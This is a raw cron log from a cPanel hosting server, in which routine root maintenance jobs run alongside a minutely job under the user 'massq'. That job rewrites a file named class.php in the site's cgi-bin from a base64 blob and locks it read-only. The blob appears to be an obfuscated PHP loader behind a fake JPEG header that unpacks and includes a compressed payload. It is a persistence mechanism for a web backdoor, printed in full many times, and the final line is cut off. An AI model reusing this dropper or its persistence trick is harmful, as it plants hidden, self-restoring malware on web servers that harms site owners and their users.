Aug 31 12:50:01 server CROND[27540]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:50:01 server CROND[27544]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 12:50:01 server CROND[27541]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 12:50:01 server CROND[27545]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:50:01 server CROND[27542]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:50:01 server CROND[27537]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 12:51:01 server CROND[28379]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:51:01 server CROND[28380]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:51:01 server CROND[28381]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:52:01 server CROND[28762]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:52:01 server CROND[28763]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:52:01 server CROND[28764]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:53:01 server CROND[29236]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:53:01 server CROND[29237]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:53:01 server CROND[29238]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:54:01 server CROND[29618]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:54:01 server CROND[29619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:54:01 server CROND[29620]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:55:01 server CROND[30018]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 12:55:01 server CROND[30021]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:55:01 server CROND[30020]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:55:01 server CROND[30022]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:55:01 server CROND[30023]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 12:55:01 server CROND[30024]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 12:55:01 server CROND[30025]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 12:56:01 server CROND[30870]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:56:01 server CROND[30871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:56:01 server CROND[30872]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:57:01 server CROND[31252]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:57:01 server CROND[31254]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 12:57:01 server CROND[31253]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:57:01 server CROND[31255]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:58:01 server CROND[31795]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:58:01 server CROND[31796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:58:01 server CROND[31797]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:59:01 server CROND[32184]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:59:01 server CROND[32185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:59:01 server CROND[32186]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:00:01 server CROND[32595]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 13:00:01 server CROND[32597]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 13:00:01 server CROND[32599]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 13:00:01 server CROND[32601]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:00:01 server CROND[32602]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Aug 31 13:00:01 server CROND[32600]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 13:00:01 server CROND[32604]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:00:01 server CROND[32603]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:00:01 server CROND[32605]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 13:01:01 server CROND[1193]: (root) CMD (run-parts /etc/cron.hourly)
Aug 31 13:01:01 server CROND[1194]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:01:01 server CROND[1195]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:01:01 server CROND[1196]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 